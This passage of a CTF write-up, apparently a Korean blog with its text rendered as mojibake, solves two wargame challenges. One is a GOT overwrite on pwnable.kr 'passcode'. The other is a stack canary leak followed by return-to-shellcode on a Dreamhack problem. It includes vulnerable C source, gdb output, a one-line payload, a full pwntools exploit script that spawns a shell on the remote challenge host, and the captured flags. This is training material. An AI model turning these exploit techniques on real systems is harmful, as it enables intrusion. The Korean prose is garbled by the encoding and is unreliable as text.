์•„์ง ํ”„๋กœ๊ทธ๋žจ์„ ์‹œ์ž‘ํ•˜๊ธฐ ์ „์ด๊ธฐ ๋•Œ๋ฌธ์— got ํ…Œ์ด๋ธ”์˜ ๊ฐ’์„ ์ถœ๋ ฅํ•ด๋ณด๋ฉด 0x8048436์ด๋‹ค. ์ด๋Š” fflush@plt+6 ์ด๋‹ค.

gdb-peda$ x/xw 0x804a004
0x804a004 <fflush@got.plt>:     0x08048436

์ฆ‰ ์›๋ž˜๋ผ๋ฉด fflush@plt๋ฅผ ์ฒ˜์Œ ์ˆ˜ํ–‰ํ•˜๋ฉด got ํ…Œ์ด๋ธ”(0x804a004)์— ์ €์žฅ๋œ plt+6(0x8048436) ์œผ๋กœ ์ด๋™ํ•˜์—ฌ ์ˆ˜ํ–‰์ด ๊ณ„์†๋œ๋‹ค.

ํ•˜์ง€๋งŒ ์ด๋ฅผ ๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ณณ์œผ๋กœ ๋ฐ”๊ฟ”์„œ ํ”„๋กœ๊ทธ๋žจ ํ๋ฆ„์„ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค.

login ํ•จ์ˆ˜์˜ ๋””์Šค์–ด์…ˆ๋ธ”์ฝ”๋“œ๋ฅผ ๋‹ค์‹œ ๋ณด์ž. ๊ทธ ์ค‘ +127๋ถ€๋ถ„์„ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>

๋ณธ ์ฝ”๋“œ์™€ ๋น„๊ต๋ฅผ ํ•ด๋ณด๋ฉด ๋‹ค์Œ์˜ ์ฝ”๋“œ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋ผ๊ณ  ์ถ”์ธกํ•  ์ˆ˜ ์žˆ๋‹ค.

system("/bin/cat flag");

0x80487af ์ฃผ์†Œ์— ๋‹ด๊ธด ๊ฐ’์„ ํ™•์ธํ•ด ๋ณด๋‹ˆ โ€œ/bin/cat flagโ€๊ฐ€ ๋งž๋‹ค.

gdb-peda$ x/s 0x80487af
0x80487af:      "/bin/cat flag"

์ฆ‰ ๋งŒ์•ฝ 0x080485e3 ๋ถ€๋ถ„์œผ๋กœ ํ”„๋กœ๊ทธ๋žจ์˜ ํ๋ฆ„์„ ๋ฐ”๊พผ๋‹ค๋ฉด,fflush๊ฐ€ ์ˆ˜ํ–‰๋˜์ง€ ์•Š๊ณ  ๋ฐ”๋กœ system(โ€œ/bin/cat flagโ€)๊ฐ€ ์ˆ˜ํ–‰๋˜๋Š” ๊ฒƒ์ด๋‹ค.

exploit

์ด์ œ ๋‚ด์šฉ์„ ์ •๋ฆฌํ•˜์—ฌ exploit์„ ํ•ด๋ณด์ž

  1. welcome() ํ•จ์ˆ˜์—์„œ name[100]์— ์ž…๋ ฅ๋˜๋Š” ๊ฐ’์„ ์ž…๋ ฅ ๋ฐ›์„ ๋•Œ, dummy[96] + โ€œfflush์˜ gotโ€์ฃผ์†Œ๋ฅผ ์ž…๋ ฅํ•ด ์ค€๋‹ค.
  2. scanf๋กœ ์ž…๋ ฅ๋ฐ›์„ ๋•Œ, 0x80485e3์ด ์ž…๋ ฅ๋˜๊ฒŒ ํ•ด์ค€๋‹ค. ๊ทธ๋Ÿฌ๋ฉด fflsh์˜ got์— ํ•ด๋‹น ๊ฐ’์ด ์ž…๋ ฅ๋˜๊ฒŒ ๋˜๊ณ  fflush๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฉด 0x80485e3๋ถ€ํ„ฐ ํ”„๋กœ๊ทธ๋žจ์ด ์‹คํ–‰๋œ๋‹ค.

์ด๋•Œ scanf์—์„œ ์ž…๋ ฅ๋ฐ›๋Š” ๊ฐ’์€ %d๋กœ ์ €์žฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— 10์ง„์ˆ˜๋กœ ๋ฐ”๊ฟ”์„œ ์ž…๋ ฅํ•ด์ค˜์•ผ ํ•œ๋‹ค. 0x80485e3์ด ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅ๋˜๋ ค๋ฉด 10์ง„์ˆ˜๋กœ๋Š” 134514147์ด๋‹ค.

image

passcode@pwnable:~$ (python -c 'print("A"*96+"\x04\xa0\x04\x08")';cat) | ./passcode
Toddler\'s Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
134514147
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

flag๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

Sorry mom.. I got confused about scanf usage :(

์‹œ์Šคํ…œ - 2

return to shellcode

์ด๋ฒˆ ์‹œ์Šคํ…œ ๋ฌธ์ œ๋Š” canary๊ฐ€ ์„ค์ •๋œ ์ƒํƒœ์—์„œ bof ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ flag๋ฅผ ํš๋“ํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

๊ธฐ์กด์— bof ๋ฌธ์ œ์—์„œ canary๊ฐ’์„ ์•Œ์•„๋‚ด์–ด ์ด๋ฅผ ๊ณ ๋ คํ•˜์—ฌ ret๋ฅผ ๋ฎ์–ด์จ์•ผ ํ•œ๋‹ค.

์šฐ์„  canary๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์ƒ์— ์–ด๋–ป๊ฒŒ ์œ„์น˜ํ•˜๊ณ  ์žˆ๋Š”์ง€๋ฅผ ์•Œ๊ธฐ ์œ„ํ•ด์„œ ๋””์Šค์–ด์…ˆ๋ธ”์„ ํ•ด๋ณธ๋‹ค.

gdb-peda$ disass main
Dump of assembler code for function main:
   0x00000000000008cd <+0>:	push   rbp
   0x00000000000008ce <+1>:	mov    rbp,rsp
   0x00000000000008d1 <+4>:	sub    rsp,0x60
   0x00000000000008d5 <+8>:	mov    rax,QWORD PTR fs:0x28  //rax์— canary ๊ฐ’ ๋ณต์‚ฌ
   0x00000000000008de <+17>:	mov    QWORD PTR [rbp-0x8],rax  //rax๋ฅผ rbp-8์— ๋ณต์‚ฌ

   ... ์ƒ๋žต

   0x0000555555554956 <+137>:	lea    rax,[rbp-0x60] // buf์˜ ์œ„์น˜
   0x000055555555495a <+141>:	mov    edx,0x100
   0x000055555555495f <+146>:	mov    rsi,rax
   0x0000555555554962 <+149>:	mov    edi,0x0
   0x0000555555554967 <+154>:	call   0x555555554730 <read@plt>

๋ฉ”์ธํ•จ์ˆ˜๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ” ํ•ด๋ณด๋ฉด ์Šคํƒ ํ”„๋ ˆ์ž„์„ ์œ„ํ•ด์„œ ์ด 96byte๋ฅผ ํ• ๋‹นํ•˜๊ณ  ์žˆ๊ณ , canary word์˜ ์œ„์น˜๋Š” ebp-8์ด๋‹ค.

๊ทธ๋ฆฌ๊ณ  canaryword๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์ฝ๊ธฐ ๋ฐฉ์ง€๋ฅผ ์œ„ํ•ด์„œ ๊ฐ€์žฅ ์ฒซ byte๊ฐ€ โ€˜\x00โ€™์œผ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํŠน์ง•์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค.

์ด๋ฅผ ๊ทธ๋ฆผ์œผ๋กœ ๊ทธ๋ ค๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Šคํƒ์ด ๊ทธ๋ ค์ง„๋‹ค.

image

ํ•ด๋‹น ๋ฌธ์ œ์—์„œ ์‰˜์„ ํš๋“ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ์˜ ๊ณผ์ •์ด ํ•„์š”ํ•˜๋‹ค.

  1. Canary ๊ฐ’ ์•Œ์•„๋‚ด๊ธฐ
  2. Shell code๋ฅผ ์ž‘์„ฑํ•˜์—ฌ buf์— ๋‹ด๊ธฐ
  3. ret ์ฃผ์†Œ๋ฅผ buf ์‹œ์ž‘์ฃผ์†Œ๋กœ ํ•˜์—ฌ ์‰˜์„ ํš๋“ํ•˜๊ธฐ

Canary ๊ฐ’

๋ฌธ์ œ์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์„ ์ถœ๋ ฅํ•ด ์ฃผ๊ธฐ ๋•Œ๋ฌธ์— canary๊ฐ’์„ ์•Œ์•„๋‚ผ ์ˆ˜๊ฐ€ ์žˆ๋‹ค.

์‚ฌ์šฉ์ž๊ฐ€ buf,dummy๋ฅผ ๋ฎ์„ 88byte์™€ ๊ฑฐ๊ธฐ์— canary ๊ฐ’์˜ ์ฒซ ๋ฐ”์ดํŠธ์ธ โ€˜\x00โ€™๊นŒ์ง€ ๋ฎ๋„๋ก ํ•˜๋ฉด ๋‹ค์Œ ํ•จ์ˆ˜์—์„œ canary๊ฐ’์„ ์ฝ๊ณ  ๊ทธ ๋’ค๋กœ ๋ฉ”๋ชจ๋ฆฌ์—์„œ โ€˜\x00โ€™์„ ์ฝ์„๋•Œ๊นŒ์ง€ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

  printf("Your input is '%s'\n", buf);

Shell code ์ž‘์„ฑ

pwntools์—์„œ๋Š” shellcraft๋ฅผ ์ด์šฉํ•˜์—ฌ ์‰ฝ๊ฒŒ ์‰˜์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ์•„์ง์€ ๋‚ด๊ฐ€ ์‰˜์ฝ”๋“œ๋ฅผ ์Šค์Šค๋กœ ๋งŒ๋“ค ๋Šฅ๋ ฅ์€ ์•ˆ๋˜์„œ,, ์—ฌ๊ธฐ์ €๊ธฐ ์‚ฌ์šฉ๋ฒ•์„ ์ฐพ์•„๋ดค๋”๋‹ˆ architecture๋งŒ ์ง€์ •ํ•ด์ฃผ๋ฉด ๋ฐ”๋กœ ์‰˜์ฝ”๋“œ ์ƒ์„ฑ์ด ๋˜์—ˆ๋‹ค.

์•„๋ž˜๋Š” ์‰˜์ฝ”๋“œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  buf์—์„œ canary๊นŒ์ง€์˜ ๊ธธ์ด(88byte)์ค‘ ๋ถ€์กฑ ๋ถ€๋ถ„์€ ๋ชจ๋‘ โ€˜\x90โ€™์œผ๋กœ ์ฑ„์šฐ๋Š” ์ฝ”๋“œ์ด๋‹ค.

context.arch = "amd64"
SHELLCODE = asm(shellcraft.sh()).ljust(buf2cnry,b"\x90")

Buf ์ฃผ์†Œ

์ด ๋ฌธ์ œ์—์„œ๋Š” buf์˜ ์ฃผ์†Œ๋ฅผ ์‹œ์ž‘๋ถ€๋ถ„์—์„œ ์ฃผ์–ด์ง„๋‹ค. ๋”ฐ๋ผ์„œ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ buf์˜ ์‹œ์ž‘์ฃผ์†Œ๋กœ ๋ฐ”๊ฟ”์ค€๋‹ค.

์ด๋ ‡๊ฒŒ ํ•ด์„œ ์Šคํƒ์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณ€์กฐํ•˜๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

image

์ฝ”๋“œ

pwntools๋ฅผ ์ด์šฉํ•œ ์ „์ฒด ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

from pwn import *

p = remote("host1.dreamhack.games",13165)
# context.log_level=10

# ๋ฒ„ํผ ์ฃผ์†Œ
p.recvuntil("Address of the buf: ")
buf_addr = p.recvline()[:-1]
print("buf_addr : {}".format(buf_addr))

# Distance
p.recvuntil("Distance between buf and $rbp: ")
buf2ebp = int(p.recvline()[:-1])
print("buf to ebp : {}".format(buf2ebp))

# get Canary value
buf2cnry = buf2ebp - 8
print("buf to canary : {}".format(buf2cnry))

payload = b"A"*(buf2cnry+1)
p.sendafter("Input:",payload)

p.recvuntil(payload)
canary = b"\x00" + p.recvn(7)
print("canary : {}".format(canary))

# SHELLCODE Exploit
context.arch = "amd64"
SHELLCODE = asm(shellcraft.sh()).ljust(buf2cnry,b"\x90")

payload = ( SHELLCODE +                         # SHELLCODE
            canary +                      # canary_value
            b"B"*8 +
            p64(int(buf_addr,16))               # ret addr ๋ณ€๊ฒฝ. buf์ฃผ์†Œ๋กœ
)

p.sendafter("Input: ",payload)

p.interactive()

image

flag : DH{333eb89c9d2615dd8942ece08c1d34d5}

ํƒœ๊ทธ: ,

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ